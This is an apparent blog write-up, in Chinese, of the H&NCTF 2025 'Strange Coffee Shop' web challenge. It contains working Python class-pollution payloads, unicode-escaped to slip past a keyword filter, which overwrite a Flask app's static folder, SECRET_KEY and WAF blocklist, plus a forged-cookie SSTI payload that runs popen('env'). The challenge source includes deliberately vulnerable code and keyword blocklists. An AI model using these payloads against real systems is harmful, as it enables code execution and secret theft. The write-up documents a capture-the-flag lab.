2025H&NCTF 奇怪的咖啡店

96次阅读
没有评论

共计9371个字符,预计需要花费24分钟才能阅读完成。

题目

题目提示:咖啡店的 admin 不小心泄露了他的源码,还好只是一部分

给出了部分源码:

app.py

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;"> 该商品暂时无法购买,请稍后再试!</p>'

    products = [{"id": 1, "name": " 美式咖啡 ", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": " 橙 c 美式 ", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": " 摩卡 ", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": " 卡布奇诺 ", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": " 冰拿铁 ", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)

def add():
    pass

@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2> 添加商品 </h2>
                    <form id="productForm">
                        <p> 商品名称: <input type="text" id="name"></p>
                        <p> 商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()"> 添加商品 </button>
                    </form>
                    <script>
                        function submitForm() {const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {'Content-Type': 'application/json',},
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error(' 错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return " 该商品违规,无法上传 "
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return " 添加失败 1 "

                merge(json_data, add)
                return " 你无法添加商品哦 "

            except (UnicodeDecodeError, json.JSONDecodeError):
                return " 添加失败 2 "
            except TypeError as e:
                return f" 添加失败 3 "
            except Exception as e:
                return f" 添加失败 4 "
        return " 添加失败 5 "

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

app.run(host="0.0.0.0",port=5014)

index.html

<!DOCTYPE html>
<html>
<head>
    <title> 咖啡店 </title>
</head>
<body>
    <h1>Hello {{session.name}}</h1>

    <!-- 错误提示 -->
    {% if error_message %}
        {{error_message|safe}}
    {% endif %}

    <h2> 今日推荐商品 </h2>

    <div class="products">
        {% for product in products %}
        <div class="product">
            <img src="{{url_for('static', filename='img/' + product.image) }}"
                 alt="{{product.name}}"
                 width="200"
                 height="200">
            <h3>{{product.name}}</h3>
            <p> 价格:¥{{product.price}}</p>
            <form method="POST">
                <button type="submit"> 立即购买 </button>
            </form>
        </div>
        {% endfor %}
    </div>

    <style>
        body {background-image: url("{{ url_for('static', filename='img/6.png') }}");
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            min-height: 100vh;  /* 确保背景覆盖整个屏幕高度 */
            margin: 0;         /* 移除默认边距 */
            padding: 20px;     /* 给内容添加内边距 */
        }
        .products {
            display: flex;
            gap: 20px;
            flex-wrap: wrap;
        }
        .product {
            border: 1px solid #ddd;
            padding: 10px;
            text-align: center;
            width: 250px;
        }
        button {
            background-color: #4CAF50;
            color: white;
            padding: 10px 20px;
            border: none;
            cursor: pointer;
        }
        button:hover {opacity: 0.8;}
    </style>
</body>
</html>

思路

发现 /add 路由下加载了我们提交的 json 数据后,经过 def merge(src, dst) 方法,可以修改 def add() 函数的属性。而这个函数在主程序下,可以利用 __globals__ 方法修改所有全局变量的属性。

我们现在只知道部分源代码,因此得想方设法获取全部的源代码。由于 flask 默认静态目录为 static,改成 ../(或者 /app)后就能读取上一级目录,即 app.py 文件所在目录。我们传进以下 json 数据:

{"__globals__": {"app": {"static_folder": "../"}}}

经过 def merge(src, dst),就相当于修改了 flask 的静态文件目录,即相当于运行了以下代码:

add.__globals__.app.static_folder = "../"

但是传入的 json 首先会经过 check 函数检查,我们不知道这个函数的具体内容,果然:

2025H&NCTF 奇怪的咖啡店

提示商品违规,被过滤,试了一下可以用 unicode 编码绕过,改成:

{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0061\u0070\u0070": {"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002e\u002e\u002f"}}}

2025H&NCTF 奇怪的咖啡店

到这里就成功了,虽然提示我们无法添加商品。

我们访问 /static/app.py 读取全部源码:

2025H&NCTF 奇怪的咖啡店

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;"> 该商品暂时无法购买,请稍后再试!</p>'

    products = [{"id": 1, "name": " 美式咖啡 ", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": " 橙 c 美式 ", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": " 摩卡 ", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": " 卡布奇诺 ", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": " 冰拿铁 ", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)

def add():
    pass

@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2> 添加商品 </h2>
                    <form id="productForm">
                        <p> 商品名称: <input type="text" id="name"></p>
                        <p> 商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()"> 添加商品 </button>
                    </form>
                    <script>
                        function submitForm() {const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {'Content-Type': 'application/json',},
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error(' 错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return " 该商品违规,无法上传 "
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return " 添加失败 1 "

                merge(json_data, add)
                return " 你无法添加商品哦 "

            except (UnicodeDecodeError, json.JSONDecodeError):
                return " 添加失败 2 "
            except TypeError as e:
                return f" 添加失败 3 "
            except Exception as e:
                return f" 添加失败 4 "
        return " 添加失败 5 "

@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
    if session.get('name') == "admin" and session.get('permission') != 0:
        permission = session.get('permission')
        if check1(permission):
            # 检测添加的商品是否合法
            return " 非法权限 "

        if request.method == 'POST':
            return '<script>alert(" 上传成功!");window.location.href="/aaadminnn";</script>'

        upload_form = '''
        <h2> 商品管理系统 </h2>
        <form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
            <h3> 上传新商品 </h3>
            <input type=file name=file required style="margin:10px"><br>
            <small> 支持格式:jpg/png(最大 2MB)</small><br>
            <input type=submit value=" 立即上传 " style="margin:10px;padding:5px 20px">
        </form>
        '''

        original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
        new_template = original_template + upload_form

        return render_template_string(new_template)
    else:
        return "<script>alert('You are not an admin');window.location.href='/'</script>"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def check(raw_data, forbidden_keywords=None):
    """
    检查原始数据中是否包含禁止的关键词
    如果包含禁止关键词返回 True,否则返回 False
    """
    # 设置默认禁止关键词
    if forbidden_keywords is None:
        forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

    # 检查是否包含任何禁止关键词
    return any(keyword in raw_data for keyword in forbidden_keywords)

param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
                    'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat',  'flag',  'set',  'self', '%', 'file',  'pop(',
                    'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]

# 增强 WAF 防护
def waf_check(value):
    # 检查是否有不合法的字符
    for black in param_black_list:
        if black in value:
            return False
    return True

# 检查是否是自动化工具请求
def is_automated_request():
    user_agent = request.headers.get('User-Agent', '').lower()
    # 如果是常见的自动化工具的 User-Agent,返回 True
    automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
    return any(agent in user_agent for agent in automated_agents)

def check1(value):

    if is_automated_request():
        print("Automated tool detected")
        return True

    # 使用 WAF 机制检查请求的合法性
    if not waf_check(value):
        return True

    return False

app.run(host="0.0.0.0",port=5014)

发现还有个 /aaadminnn 路由,里面在执行 render_template_string(new_template) 的时候会出现模板注入漏洞,即可以利用 session.get('permission') 将 cookie 里面的 permission 设置成模板注入的 payload 即可。

为了注入 cookie,我们要知道 SECRET_KEY(也可以不用)。直接修改 SECRET_KEY 即可,上传以下 json 数据:

{"__globals__":{"app":{"config":{"SECRET_KEY":"test"}}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"test"}}}}

SECRET_KEY 改成 test,这样就已知了,然后用 flask_session_cookie_manager 构造 cookie 来注入。

但是这 check1(permission) 函数会检测 permission 中是否有关键字。没关系,将全局变量 param_black_list 置空即可,构造以下 json 数据:

{"__globals__": {"param_black_list": []}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074": []}}

接下来就是构造 cookie 了,默认 cookie 为 {"name": "customer", "permission": 0}'。利用 SSTI 漏洞,我们改成:

{"name": "admin", "permission": "{{\"\".__class__.__base__.__subclasses__()[133].__init__.__globals__[\"popen\"](\"env\").read()}}"}'

然后用 flask_session_cookie_manager 构造 cookie,得到:

.eJwdyUEKwyAQRuG7_CuFEijZ9SqZIGMzFEFHybTdSO4ecff4XodyEbzAR0mKB5qcJZmlqgN7JxCWEN6ZzUIYFdlkhv3iVBnu_PZc131o0vSd-5Nr5DzeRmi1iRJ2RxD9E_xyCh_OXxeuG1I8LII.aEUxjA.077jfzP-R_zmw1X0-pYeqr9GWEQ

访问 /aaadminnn,在环境变量中得到 flag:

2025H&NCTF 奇怪的咖啡店

随机生成的 flag 为 flag{ccc959f2-8485-4123-bac1-ced150b4a6c1}

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文

目录

文章目录